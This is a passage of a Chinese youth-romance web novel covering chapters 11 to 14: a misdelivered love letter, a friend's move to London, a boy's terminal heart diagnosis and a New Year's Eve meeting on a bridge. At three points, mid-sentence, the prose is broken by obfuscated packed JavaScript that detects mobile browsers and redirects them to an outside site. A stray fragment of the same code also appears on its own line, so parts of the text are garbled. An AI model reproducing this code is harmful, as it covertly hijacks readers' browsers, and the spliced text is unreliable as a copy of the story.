林翩月原本正带着点戏谑调侃何潇，“就你这水平，也就勉强及格，少在这儿王婆卖瓜了。” 何潇乐呵呵地应着：“是是是，大小姐教训的是，小的还需努力。” “哥哥，给你水。”一个甜腻的声音突然插入。刘厢厢脸颊泛红，眼神亮晶晶地，扭捏地将一瓶运动饮料递到何潇面前。 “哥哥？”林翩月脸上的笑意瞬间冻结，眼神陡然锐利起来。 “谢谢，不用了。”何潇赶紧举起左手那瓶普通矿泉水，那是林翩月刚刚随手塞给他的，“我有水了。” 刘厢厢的手固执地悬在半空，脸上带着一种优越感，认真科普，“我这个是专业运动饮料，补充电解质特别好的。你那个……” 她瞥了一眼何潇手里的矿泉水，语气带着不易察觉的轻蔑，“就是普通水，喝多了反而会冲淡盐分，对身体不好的。” 林翩月眼神一冷，闪电般出手，一把夺过刘厢厢手里的饮料瓶。 她垂眸扫了一眼标签，嘴角勾起一个极其轻蔑的弧度，声音不大却字字清晰，“呵，几块钱的东西，也配拿到我面前显摆？” “你！你抢我水干什么？！”刘厢厢气得脸通红，指着林翩月质问，“你跟他什么关系啊？！” 这句话像根针，刺得林翩月瞳孔微缩。 她眼底最后一点温度也褪尽了，反手就把饮料瓶塞回何潇怀里，同时一把夺回自己那瓶矿泉水，冷冷地直视刘厢厢，“我跟他没关系。现在，你要说什么，可以说了。” 说完，她看也不看何潇瞬间煞白的脸，拉起旁边还在状况外的夏霜迟，转身就走。 11. 信封 何潇彻底慌了神，抬脚就要追：“大小姐！你听我解释！我真不认识她！” 刘厢厢却一把抓住他的胳膊，急忙道，“哥哥！等等！我……我有话……” “放手！” 何潇不耐烦地用力甩开她，语气又急又冲，“同学，你谁啊？我认识你吗？” “我是来给你表白的啊！哥哥！”刘厢厢慌忙把那个粉色信封往何潇手里塞。 何潇看都没看，像甩开烫手山芋一样一把将信封拂落在地，头也不回地大步流星朝着林翩月消失的方向追去。 “翩月！等等我！” 刘厢厢碰了一鼻子灰，沮丧地弯腰捡起掉在地上的情书，小声嘟囔，“唉，没眼光……” 她一抬头，正好看见旁边还没离开的宋远。他正望着林翩月和夏霜迟离开的方向，侧脸线条在夕阳余晖下显得格外冷硬。 刘厢厢眼睛又亮了——远看不如何潇阳光，但这近看冷酷的眼神，高挺的鼻梁，简直更对她的胃口！ 她立刻调整状态，凑到宋远身边，捏着嗓子，楚楚可怜道：“哥哥，你看他，对女孩子好凶哦。” 宋远的目光依旧追随着那个方向，连眼角的余光都没分给她一丝，薄唇冷冷吐出两个字：“有病。” 抬腿就要走。 “等等！” 刘厢厢像是突然想起来什么事情，赶紧又从另一个口袋掏出一个几乎一模一样的粉色信封，上面也贴着HelloKitty贴画，只是封口的爱心更大些。 “那个……能麻烦你，帮忙转交给夏霜迟同学吗？” 她这次学乖了，直接说出名字。 听到“夏霜迟”三个字，宋远脚步猛地顿住。 他缓缓转过身，目光先是落在那刺眼的粉色信封上，然后才抬起眼，锐利的视线审视般地落在刘厢厢脸上，眼底掠过一丝清晰的错愕和……不易察觉的烦躁。 他沉默地盯着那信封看了足足两秒，像是在评估什么棘手的东西，最终，什么也没问，面无表情地伸手接过，随意地塞进了自己运动裤的口袋里，转身离开，留下一个冷硬的背影。 刘厢厢松了口气，小跑着奔向操场对面几个等待她的同学。 - 校门外。 “大小姐！你等等！你听我说！我真不认识她！天大的冤枉啊！” 何潇几乎要哭出来，不管不顾地扯着林翩月的校服袖子，额头上分不清是汗还是急出来的水光。 “别碰我！” 林翩月用力甩开他，像是沾到了什么脏东西，声音拔高，“你爱在网上跟谁撩骚是你的事！跟我没关系！” 她紧紧抓住夏霜迟的手腕，“小迟，我们走！回家！” 已经走出了校门一段距离，周围投来不少好奇的目光。 夏霜迟夹在拉扯的两人中间，尴尬得额头冒汗。 她凑到林翩月耳边，压低声音急道：“翩月，我书包！书包还在教室呢！你先走吧，别等我了……” 林翩月这才猛地想起，烦躁地松开手：“那……那你快去拿！” 说完，气鼓鼓地瞪着追上来的何潇。 夏霜迟如蒙大赦，立刻转身小跑着折返校园。 放学后的校园显得格外空旷安静，夕阳将教学楼的影子拉得老长。 她快步穿过寂静的教学楼，刚转过一楼通往楼梯的拐角，脚步倏地顿住。 一楼墙角旁，那个人随意地靠在墙上。 他单肩挎着自己的黑色书包，另一只手，正拎着她那个醒目的粉色HelloKitty书包。夕阳的余晖斜斜地打在他半边脸上，勾勒出深邃的轮廓和浓密的眼睫。 他似乎有些出神，直到听见脚步声，才慢悠悠地掀起眼帘，目光落在有些气喘的夏霜迟身上。然后，他缓缓站直身体。 “书包都不要了。” 宋远的声音没什么起伏，像在陈述一个事实。 他把那个粉色书包往前一递，塞进夏霜迟有些发愣的手里。 “啊？不…不是……” 夏霜迟下意识地抱紧自己的书包，脑子有点懵。 宋远……他是专门回去帮她取了书包，还在这里等她？ 这个认知像一颗投入心湖的石子，瞬间漾开一圈圈涟漪。 一个大胆的念头不受控制地冒出来—— 他是不是……有点喜欢我？ 这个想法让她脸颊“腾”地一下烧起来，火辣辣的。 她赶紧用力晃了晃脑袋，想把这不切实际的念头甩出去—— 不可能！ 宋远怎么可能喜欢她？这只是同桌间再普通不过的帮忙罢了！一定是自己想多了！ 她低下头，手指无意识地抠着书包肩带，声音细若蚊蚋：“谢谢……” 宋远依旧是那声淡淡的“嗯”，听不出情绪。他利落地转身，抬腿就要走。 夏霜迟的心随着他的动作微微一沉。 果然……是自己自作多情了。 她看着他的背影，一股莫名的失落和一丝不甘涌上来，几乎是不受控制地，她跟在他身后两步远的地方，脱口而出：“你……你就不怕我直接跟翩月回家，不来拿书包了？” 宋远脚步未停，只从鼻腔里发出一声极轻的嗤笑，带着点熟悉的嘲讽：“不拿书包？” 他侧过头，夕阳勾勒出他线条分明的下颌，“可不是乖乖女的作风。” 提到“乖乖女”，宋远像是忽然想起了什么。 他停下脚步，转过身，手伸进运动裤口袋，摸索了一下，然后掏出了那个带着明显折痕的粉色信封。HelloKitty贴纸和硕大的爱心封口贴，在夕阳下格外刺眼。 他垂着眼眸，浓密的睫毛在眼下投下一小片阴影，遮住了所有情绪。 那只拿着信封的手伸到夏霜迟面前，动作带着一种说不清是生硬还是犹豫的别扭。 “给你。” 夏霜迟整个人僵在原地。 爱心，粉色，信封…… 如此直白而暧昧的信号，就这样毫无预兆地出现在她和宋远之间。 周围的空气仿佛都凝固了，只剩下自己擂鼓般的心跳声。 大脑一片空白，她甚至不知道自己是怎么伸出手接过的。指尖触碰到信封微凉的纸面，带着一点宋远口袋里的余温。 一丝极其微弱、几乎难以捕捉的雀跃，像小小的火苗，“噗”地一声，在她心底某个角落悄悄点燃。 难道……难道宋远他……真的…… 夏霜迟怔怔地看着宋远的身影彻底消失在视野，指尖还残留着信封微凉的触感。心脏在胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060710|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腔里擂鼓般狂跳，几乎要挣脱束缚。 她低头，小心翼翼地展开那封被捏得有些发皱的粉色信封，指尖带着不易察觉的颤抖，轻轻抚平纸面上的折痕。 一股混杂着欣喜、迟疑、迷茫和犹豫的热流，悄然涌遍四肢百骸。 她紧紧抱着那封信，像抱着一个易碎的、甜蜜的秘密。 一种从未有过的、难以言喻的雀跃感，如同细小的气泡，在她心底“噗噗”地冒出来，轻盈地上升，几乎要溢出喉咙。 她愣在原地，夜风拂过发烫的脸颊。 一个致命的问题，毫无预兆地、清晰地浮现在脑海： 她，喜不喜欢宋远？ - 赶在夜色完全吞没天光前回到家，夏霜迟像做贼一样溜进房间，反锁上门。 房间里只开了一盏台灯，昏黄的光线笼罩着书桌。 她坐下，指尖依旧带着轻微的颤抖，目光近乎虔诚地凝视着那封粉色的信。 HelloKitty的贴纸在灯光下显得格外可爱，封口的爱心似乎也在和她的心跳同频共振。 她细细描摹着信封的纹路，大脑却一片混沌。 如果…… 如果宋远真的喜欢她……那么她呢？ 放在桌角的手机突然嗡嗡震动，吓了她一跳。 是林翩月的来电。 “喂……” 夏霜迟接起电话，声音还带着一丝未褪的悸动。 电话那头传来的，却是压抑不住的、带着浓重哭腔的声音，破碎不堪。 “小迟……我、我真的要气疯了！你知道…你知道何潇那个混蛋对我说什么吗？！” 夏霜迟的心瞬间沉了下去，为好友的难过揪紧：“翩月，别急，慢慢说，怎么了？”她下意识地握紧了手机。 “他说我油盐不进！说我想怎么想就怎么想！还说我…说我娇纵任性，不可理喻！他…他怎么能这么说我？！我……” 林翩月的声音断断续续，被剧烈的抽噎切割得支离破碎，充满了绝望和难以置信的愤怒。 深秋的冷风从未关严的窗缝里钻进来，刀子般刮在夏霜迟裸露的皮肤上，带来一阵刺骨的寒意。 听着电话里林翩月失控的哭诉，夏霜迟只觉得喉咙发紧，一时竟找不到合适的语言来安慰。她比谁都清楚，林翩月对何潇的感情，早已超越了友情的界限。 被爱的人有恃无恐，而先爱上的那个，注定要学着退让和隐忍。 “翩月，”夏霜迟放柔了声音，带着心疼，“如果难过，就哭出来吧，别憋着，我在这儿听着呢。” 电话那头只剩下断断续续、压抑不住的啜泣，像受伤小兽的呜咽。 夏霜迟的心也跟着一抽一抽地疼。思绪飘远，她下意识地将那封承载着她隐秘心事的粉色信封，随手夹进了手边最近的一本《诗词精选》里。 她第一次如此深刻地感到无力，笔下写过无数缠绵悱恻的诗句，此刻在挚友汹涌的悲伤面前，却显得如此苍白笨拙。 过了许久，电话那头的啜泣声才渐渐低弱下去，变成一种疲惫的抽气。 林翩月的声音带着浓重的鼻音，却异常清晰地响起：“小迟，我决定了。” “决定什么？” 夏霜迟心头掠过一丝不祥的预感。 12. 恶化 “我要走了。” 林翩月的声音平静下来，带着一种尘埃落定的决绝。 “去伦敦？” 夏霜迟喉咙发紧，一字一顿地问，指甲无意识地掐进了掌心。 “嗯。” 电话那端传来一声沉重的鼻息，“我妈那边……手续已经提前办好了。我会先过去，适应一下环境。” 夏霜迟的眼眶瞬间红了。 方才因那封粉色信件而滋生的、关于爱情的朦胧幻想和隐秘雀跃，在这一刻烟消云散，只剩下沉甸甸的离愁别绪。 她垂下眼睫，长长的睫毛在眼下投下一小片阴影。 林翩月，是从小伴她长大的光。 即使夏刚经营不善，让爷爷留下的公司风雨飘摇，夏家早已不复当年，与林氏真正的豪门望族之间横亘着巨大的鸿沟，林翩月也从未因此看轻过她分毫。 这份纯粹的友情，是她晦暗青春里珍贵的慰藉。 “那你……什么时候走？什么时候回来？还会回学校看看吗？”一连串的问题不受控制地从夏霜迟口中冒出，带着急切和不舍。 对方的回答简洁得像冰冷的刀锋，“一个月后。四年。不回。” 夏霜迟沉默了几秒，终究还是忍不住，小心翼翼地追问：“那……何潇呢？你打算……告诉他吗？” 电话那端陷入了长久的寂静，似乎只有电流细微的滋滋声。 过了仿佛一个世纪那么久，林翩月的声音才再次响起，带着一种近乎残忍的平静和自嘲。 “不打算。” 在自由肥沃土壤上恣意生长的玫瑰，娇艳欲滴，却也布满了保护自己的尖刺。 “小迟，”林翩月的声音放柔了些许，带着一丝不易察觉的哽咽，却又无比坚定，“放心，我在国外，也会好好生活的。” 电话挂断后，夏霜迟握着手机，胸口堵得发慌，一股难言的郁闷和失落弥漫开来。 她不明白，明明互相喜欢、看起来如此般配的两个人，为何会走到这般两两相错、互伤互怨的境地？ 这是她第一次如此真切地感受到“遗憾”的重量。 恍惚间，心底那颗被林翩月电话浇得有些蔫儿的、名为“喜欢宋远”的种子，却又在无人窥见的角落，倔强地汲取着那一点点青春的悸动，悄然破土，伸展出稚嫩的芽叶。 她想…… 她是喜欢宋远的。 这份喜欢，像月光下悄然绽放的昙花，生错了季节，长错了地方。 一旦肆意蔓延，等待它的，只能是毫不留情的修剪与碾落成泥。 所以，这将是她深埋心底的一个秘密—— 一个独属于青春少女的、美丽又易碎的童话。 抬眼看向墙上的时钟，指针已无情地指向十点。 夏霜迟猛地回过神，慌忙打开书包翻找作业。 天！今天还没写！难道又要熬到深夜？ 夜色浓稠如墨。 她疲惫地倒在床上，意识模糊沉入黑暗前，宋远那张冷峻的脸庞和那封粉色的信封在脑海中一闪而过。 一个微弱的念头飘过—— 明天……明天一定要看……便彻底坠入了昏沉的梦乡。 - 次日清晨。 夏霜迟罕见地睡过了头，惊醒时离迟到仅剩半小时。 洗漱、抓书包、冲出家门……一连串动作行云流水，兵荒马乱。 那封关乎她心跳秘密的粉色信封，连同夹着它的那本《诗词精选》，被彻底遗忘在昨夜的混乱与悲伤里。 当她气喘吁吁地赶到教室时，早读的朗朗书声早已响起。她猫着腰，屏住呼吸，悄悄从后门溜了进去。 万幸，班主任秦福不在。 然而，更让她心头一空的，是旁边那个依旧空着的座位——宋远也没来。 头顶白炽灯的光线忽然变得有些刺目。 夏霜迟说不清此刻心里翻涌的是庆幸还是失落，或许两者皆有。 庆幸于暂时不用面对那难以言说的暧昧与尴尬，失落于那抹熟悉的身影缺席带来的空旷感。她收回目光，翻开语文书，机械地跟着诵读，心绪却像被困在迷宫里，寸步难行。 她忽然发现，连自己，也走不进此刻真实的内心。 - 医院里永远弥漫着消毒水和焦虑混合的气息。人们步履匆匆，脸上写满疲惫与忧心。 “请患者宋远到506诊室就诊。” “请患者宋远到506诊室就诊。” 冰冷的电子合成音毫无感情地重复了两遍。 宋远抬起头，看了一眼闪烁的屏幕，沉默地拿起手边一叠厚厚的化验单，起身走向诊室。 每一步都像踩在棉花上，又沉又软。 诊室里是一位五十多岁的女医生，烫着略显过时的大波浪卷发。 她仔细翻阅着宋远的化验单，眉头越皱越紧，最终化作一声沉重的叹息。 “小伙子，以前来看过吧？” “嗯。”宋远的声音平静无波。 “什么时候？” “三年前。” 医生猛地抬起头，镜片后的目光充满了不解和一丝责备，“三年前？！那个时候就查出问题，为什么不及时接受治疗？虽然你这个是家族遗传病，但如果当时就积极干预控制，情况绝不会恶化到这种地步！你看你现在这……” 她指着报告单上几个触目惊心的指标。 宋远没有回答，只是缓缓低下头，浓密的睫毛遮住了眼底翻涌的所有情绪。 为什么不治？ 因为在那时的他眼里，这无法根治的绝症带来的死亡预告，并非噩耗，而是解脱。 是逃离这窒息生活的唯一出口。 贫穷？那只是压死骆驼的最后一根稻草。 真正压垮他的，是看不到尽头的绝望和肩上沉重的负担。 死亡，曾是三年前那个少年心中隐秘的救赎。 “唉……” 医生又重重叹了口气，拿起笔在病历上飞快地写着，潦草的字迹像纠缠着的藤蔓，杂乱无章，“你这情况……比三年前严重太多了。心肌受损程度加深，功能显著下降。现在药物治疗效果已经微乎其微。” 她停下笔，抬头看向宋远，眼神带着医者的沉重，“目前唯一能延长你生存期、提高生活质量的方案，是植入心脏复律除颤器。至少……能争取几年时间。” 宋远的目光空洞地落在医生龙飞凤舞的字迹上，那些符号和数字对他而言毫无意义。 他喉结滚动了一下，声音低沉沙哑：“如果……不做呢？我还能……活多久？” 医生放下笔，直视着他，眼神里有不忍，但更多的是职业的冷静：“最多两年。而且后期生活质量会非常差，随时可能发生恶性心律失常导致猝死。” 诊室里一片死寂。 冰冷的空气仿佛凝固了。 宋远沉默了许久，久到医生以为他不会再有回应。 他才终于抬起眼，那双深邃的眸子里一片沉寂的荒芜，仿佛早已接受了一切。 他艰难地、几乎是从齿缝里挤出那个他最不愿意面对，却又无法回避的问题： “那……做这个，要多少钱？” - 整整一天，宋远的座位都空荡荡的。 前排林翩月的座位也空着，像教室里两个突兀的伤口。 连平日里最跳脱的何潇，也失去了往日的神采，趴在桌上，周身笼罩着一层低气压。 窗外的天色阴沉得厉害，寒风卷起枯叶。夏霜迟拢了拢校服外套，第一次如此清晰地感受到—— 冬天，真的要来了。 踩着暮色回到家，夏霜迟径直走向书桌。一种莫名的、强烈的不安感驱使着她，想要找到那本《诗词精选》，找到那个粉色的秘密。 然而，半个小时过去了。 桌面上、抽屉里、书架上……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060711|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她翻遍了所有可能的地方，那本熟悉的蓝色封面书却像凭空蒸发了一样。 冷汗渐渐浸湿了她的额发，心跳开始失序。她明明记得……昨晚就放在这里的！ 慌乱中，她不小心碰倒了书架边缘的几本书，“哗啦”一声散落一地。 没有。 真的没有。 一股冰冷的寒意瞬间从脚底窜上脊背。 “乒乒乓乓的！找什么呢？魂都丢了？！”房门被猛地推开，苏燕抱着胳膊站在门口，新染的头发在灯光下格外刺眼，脸上是毫不掩饰的不耐烦和审视。 夏霜迟像是被抽干了力气，跌坐在床边。 巨大的恐惧裹挟了她，此刻她的声音干涩，“妈……我的那本《诗词精选》……蓝色的那本，你看见了吗？” 苏燕闻言，眉毛一挑，发出一声高亢的“欸！”带着理所当然的腔调，“我说你发什么神经！就为了一本破书？今天你表弟过来玩，我看他语文成绩差得没眼看，正好那书摆着也是摆着，就让他拿回去学习了！你这当姐姐的，这点东西都舍不得？还委屈上了？！” 夏霜迟如遭雷击，瞬间僵在原地，血液仿佛在那一刻凝固成冰。 书……被表弟拿走了？ 那封信……那封贴着爱心、藏着巨大秘密的信就在里面！ 巨大的恐惧和无助感像潮水般瞬间将她淹没。 如果……如果被姑妈看到，被表弟翻到……后果她简直不敢想象！ 苏燕那尖锐的斥责、父亲失望的眼神、亲戚们探究的窃笑…… 一幕幕场景在她脑中疯狂闪现。 “瞧你这没出息的丧气样！一本书能要了你的命？！” “砰！”一声巨响，苏燕狠狠地甩上了房门，尖锐的嗓音穿透门板，像刀子一样扎进来，“跟你那没用的爹一样，窝囊废！” 直到手机屏幕在昏暗的房间里骤然亮起，伴随着一声清脆的信息提示音，夏霜迟才像溺水的人浮出水面，猛地喘了口气。 【翩月】：小迟，跨年快乐！ 后面还加了一个撒花的表情包。 她茫然地握住手机，屏幕的光映着她苍白的脸。 她下意识地看了一眼日期，才后知后觉地喃喃自语—— 原来，新的一年，已经到了。 这一年，对夏霜迟而言，似乎什么都没变。 她依旧在那个压抑的家里，依旧自卑、懦弱，像一只被剪断了翅膀的鸟。 但似乎，又有什么东西在悄然改变。 她站上了文化庙会的光鲜舞台，收获了从未有过的肯定目光。 她心底…… 还住进了一个人。 那份隐秘的喜欢，像石缝里挣扎求生的幼苗，让她贫瘠的心田里，竟也生出了一丝名为“勇气”的绿意，催促着她想要去触碰那些曾经不敢奢望的东西。 给林翩月回复了祝福信息，夏霜迟只觉得房间里闷得喘不过气。 出去走走吧。 她裹上厚厚的围巾，悄悄溜出了家门。 迎接元旦的喜庆氛围弥漫全城，古老的城墙附近更是人潮涌动，灯火璀璨。 夏霜迟家就在城墙根下。 她最喜欢在傍晚时分，走上那座名为“月亮桥”的石拱桥。 桥如其名，金碧辉煌的桥身倒映在波光粼粼的护城河水面上，与天上初升的新月遥相呼应，宛如一轮坠入凡尘的巨大金月。 她倚在冰冷的石栏上，望着桥下熙熙攘攘、洋溢着节日喜悦的人群。 喧嚣的人声、食物的香气、闪烁的彩灯……这一切热闹仿佛都与她隔着一层无形的膜。 她的目光无意识地掠过攒动的人头，漫无目的地、呆呆地。 忽然，她的视线猛地定格在城墙根下一个略显清冷的身影上。 心脏骤然停跳了一拍，随即疯狂地撞击着胸腔。 那个人影…… 是不是……宋远？ 13. 跨年 夏霜迟深吸一口气，冰凉的空气涌入肺腑，试图压下那擂鼓般的心跳。 当月光与灯辉交织，清晰地映出城墙根下那个身影的侧脸时，她像受惊的小鹿般猛地背过身去。 双手紧张地交握在一起，指尖冰凉。 少女的心湖此刻正掀起滔天巨浪—— 既期待宋远看到了她，又害怕他真的看到。这矛盾又陌生的滋味，让她手足无措。 要不要过去？第一句话该说什么？ “好巧，宋远，你怎么也在这里？” ——太刻意。 “啊，宋远？没想到在这里遇见你。” ——还是不行。 夏霜迟心乱如麻，穿着小皮鞋无意识地后退一步，却猛地撞上身后一个温热的身体。 “对不起对不起！” 她慌忙转身，迭声道歉。 看清眼前人的刹那，声音戛然而止。 宋远正倚靠在桥栏边，眸底映着桥下粼粼的水光，平日里深邃冷冽的目光竟似被这夜色柔化了几分，透着一丝不易察觉的温润。 他脸上带着显而易见的疲惫，却在她撞上来的瞬间，下意识伸手扶了她手臂一把。 “小心些。” 声音依旧没什么波澜，却少了平日的冷硬。 夏霜迟只觉得整个世界都安静了，只剩下自己胸腔里那颗疯狂擂动的心脏，震耳欲聋。 “对……对不起……” 她呆呆地重复，脸颊迅速升温。 宋远收回手，重新撑在冰凉的桥柱上，目光投向远处闪烁的灯火，没有看她：“别总是说对不起。” “好……好的。” 夏霜迟像被按下了乖巧键，顺从地应着，也学着他的样子，安静地站在他身边，抬头望向遥远星河。 沉默在两人之间蔓延，带着一丝微妙的紧张。 “你怎么……晚上一个人出来呀？” 夏霜迟鼓起勇气，打破寂静，声音里带着小心翼翼的期待和局促。 “嗯，”宋远的声音很轻，“家里没人，不如出来走走。” 他顿了顿，反问道，“你呢？” “我……” 夏霜迟一时语塞。 为什么出来？是因为家里压抑得令人窒息？是为了迎接新年的仪式感？ 还是……命运那只无形的手，悄然牵引着她来到这月亮桥，只为遇见她的…… 心上人？ 这个念头让她脸颊瞬间滚烫，语无伦次：“我……家里太闷了，我也……出来透透气。” “闷？” 宋远微微挑眉，音调里带着一丝不易察觉的困惑。他实在难以想象，像她这样家境优渥、没有生存之忧的女孩，会有什么能让她感到“窒息”。 “嗯。”夏霜迟垂下头，浓密的睫毛掩盖住眼底的黯淡，“我爸妈……他们，不太爱我。”声音轻得像一声叹息。 沉寂再次降临。 冬夜的寒风钻进围巾的缝隙，带来刺骨的凉意。夏霜迟拢了拢红色的围巾，重新抬起头，努力在脸上漾开一抹浅淡的笑意，指向天空，“你看，天上有星星。” 她的目光转向宋远，在夜色中显得格外清亮，带着一种破釜沉舟般的勇气，轻声道：“你知道吗？在我眼里，你就像这些星星一样……在闪闪发光。” 话一出口，她便迅速低下头，夜色中的雾气仿佛也氤氲进了她的眼底，模糊了视线。 宋远没有吭声。他看着夏霜迟在灯光下白净柔和的侧脸，不由得怔住。 星星……？ 可惜，他是一颗注定要提前熄灭的星，会随着黎明而落幕，更看不见柳暗花明。 无边的黑暗才是他最终的归宿。 然而，心底深处，仿佛有一簇微弱的火苗被这句话“噗”地点燃。 那微小的暖意竟奇异地驱散了周身缠绕的寒意。 或许……他在她眼中，并没有自己想象的那般不堪？ 原来，被人在意、被这样纯粹地注视着的感觉，是这样的。 他怔怔地看着她，心跳的鼓点越来越响，几乎要冲破胸膛。 他喉结滚动，正想开口说些什么—— “妈妈！快看！天上有星星诶！” 一个五六岁的小男孩像颗小炮弹般冲出人群，左手高举着糖葫芦，右手指着星空，银铃般的笑声清脆悦耳。 他兴奋地回头寻找妈妈，全然没注意前方，一头撞在了夏霜迟的后腰上。 “啊！” 夏霜迟猝不及防，身体瞬间失去平衡，惊呼着向前扑去，直直跌进了宋远敞开的怀抱里！ 慌乱之中，出于本能，她纤细的手臂紧紧环住了他劲瘦的腰身。 刹那间，周遭所有的喧闹人声仿佛被按下了消音键。 天地之间，仿佛只剩下他们两人。 她清晰地听见自己如雷的心跳，也无比真切地感受到了隔着薄薄衣物传来的、属于宋远胸膛下那同样急促有力的搏动。 交错的呼吸在寒冷的空气中蒸腾出暧昧的白雾，这意外的拥抱让她一头撞进了他温热的、带着淡淡青柠皂香的世界里。 几秒的怔忡后，夏霜迟如梦初醒，慌忙松开手，像触电般弹开一步站直身体。 脸颊烫得能煎鸡蛋，她死死低着头，不敢看宋远的表情，声音细若蚊蚋，带着明显的颤抖：“对、对不起……” 男孩的妈妈气喘吁吁地追上来，蹲在孩子面前，又急又气，“让你别跑这么快！撞到哥哥姐姐了吧？” 年轻的母亲站起身，一手拉着孩子，满脸歉意地看向他们。 “实在对不起啊！你们没事吧？孩子不懂事，没撞疼吧？” 夏霜迟只觉得脸上火辣辣的，能清晰地感受到身旁那道落在自己身上的目光。 她慌乱地摆摆手，依旧低着头：“没……没事的。” 年轻的母亲连声道歉。小男孩仰着天真的大眼睛，指着夏霜迟脆生生地说：“好漂亮的姐姐！” 他妈妈看着眼前这对璧人，女孩羞红了脸，男孩虽然沉默但眼神专注，不由得露出善意的笑容，对夏霜迟说道：“哎呀，你和你男朋友呀，真是郎才女貌，天生一对呢！” 夏霜迟浑身一僵，下意识地抬头看向身侧的宋远。 就在这一瞬，宋远也恰好垂眸看向她。 她眼中来不及掩饰的慌乱、羞怯和一丝隐秘的期待，毫无防备地撞进他深邃如潭的目光里。 呼吸，仿佛在这一刻停滞。 她张了张嘴，想要辩解些什么。 “砰——！哗啦——！” 绚烂夺目的烟花毫无预兆地在深邃的夜空中轰然绽放！巨大的金色花朵层层叠叠地盛开，将半边天幕映照得亮如白昼，洒下漫天流金碎玉！ 人群爆发出震耳欲聋的欢呼：“新年快乐——！！！” 就在这璀璨的光影交织、震天的欢呼声中，夏霜迟清晰地看到，宋远那总是紧绷如刀锋的下颌线，倏然放松了下来。 他那双深邃的眼眸被烟花点亮，映着漫天流光。那总是紧抿的、仿佛承载着千斤重量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060712|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的唇角，竟极其罕见地、清晰地向上弯起了一个弧度。 不是嘲讽，不是冷淡，而是一种纯粹的、带着少年人气息的、连他自己都未曾察觉的柔软笑意。 夏霜迟怔怔地望着他，忘记了呼吸。 这瞬间绽放的笑容，比夜空任何一朵烟花都要夺目，带着一种惊心动魄的暖意，深深地烙印在她的心底。 青春期的第一次疯狂心动，在这寒冷又喧嚣的跨年夜，伴随着漫天绮丽的烟火和心底难掩的雀跃，悄然绽放在无人知晓的角落。 待到震耳欲聋的烟花声渐渐平息，夏霜迟才从失神中缓过来。 她发现，方才那对母子早已消失在欢庆的人群中。 那些未出口的解释，也只能无声地咽回了肚子里。 月亮依旧高悬在深蓝的天幕，清辉洒落。 而眼前人，正是心上人。 夏霜迟喉咙发紧，心脏在胸腔里横冲直撞。她鼓起毕生的勇气，声音带着不易察觉的颤抖，“这里……人太多了。我们……要不要去旁边的步行街走走？” 这拙劣的挽留借口，此刻却盖过了心底所有清醒的警告。 理智在尖叫着危险，但心底那株名为“喜欢”的幼苗，此刻正疯狂汲取着勇气，冲破所有顾虑的藩篱。 这一次，她不想再做那个只会退缩的夏霜迟。 她想抓住这夜色、这心跳、这近在咫尺的人。 哪怕只有一刻。 “不去的话……也、也没关系……” 她又慌忙补充，试图给自己留一个摇摇欲坠的台阶。 “走吧。” 宋远的声音不高，却清晰地落在她耳中。 走吧…… 夏霜迟的眼睛瞬间亮了起来，眉眼弯弯，像盛满了星光，“好呀！” 或许是因为人群都聚集在城墙根下看烟花，步行街此刻显得相对清静。 这里商业化气息浓郁，霓虹招牌闪烁，却也渗透着市井生活的烟火气。 并肩走了一段，夏霜迟才找回自己的声音，带着点窘迫，“刚才那个阿姨说的……我本来是想解释的……” 她指的是“男朋友”的误会。 宋远停下脚步，看向身边局促不安的少女。她的脸颊在街灯下泛着诱人的红晕。 他喉结滚动了几下，眼神晦暗不明，几乎是下意识地开口，声音低沉：“可以不用解释。” 夏霜迟猛地抬头，撞进他深邃的目光里。 不用解释？ 这句话像一颗投入心湖的石子，瞬间在她心底激起巨大的涟漪。 脸颊“轰”地一下红得滴血，连小巧的耳垂都染上了绯色。 “你……你今天为什么没来学校？” 她慌忙转移话题，试图平复过快的心跳。 “在医院。” 宋远的声音瞬间裹上了一层凉意，言简意赅。 “医院？” 夏霜迟的心一下子提了起来，“你生病了？严不严重？” “……嗯。” 宋远顿了顿，那句沉甸甸的“我活不久了”在舌尖滚了滚，最终还是被艰难地咽了回去，“小病。” “那就好。”夏霜迟明显松了口气，关切地问，“那你明天……会来学校吗？” 宋远的目光落在她写满期待的脸上，没有直接回答，反而问道：“你想让我去学校吗？” 夏霜迟呼吸一滞，几乎是脱口而出：“我想的话……你会去吗？” 声音里带着她自己都未察觉的颤抖和希冀。 14. 听歌 宋远的目光掠过街道两旁。 即使在寒冬，一些常青树依旧郁郁葱葱，在夜色中沉默地伸展，仿佛拥有无穷的生命力。 冬夜的风卷起地上的落叶，发出沙沙的轻响。他看着那些生机勃勃的树影，心底那个冰冷的声音再次响起—— 一棵注定枯萎的病树，就算被所谓的爱意浇灌，会怎么样呢？ 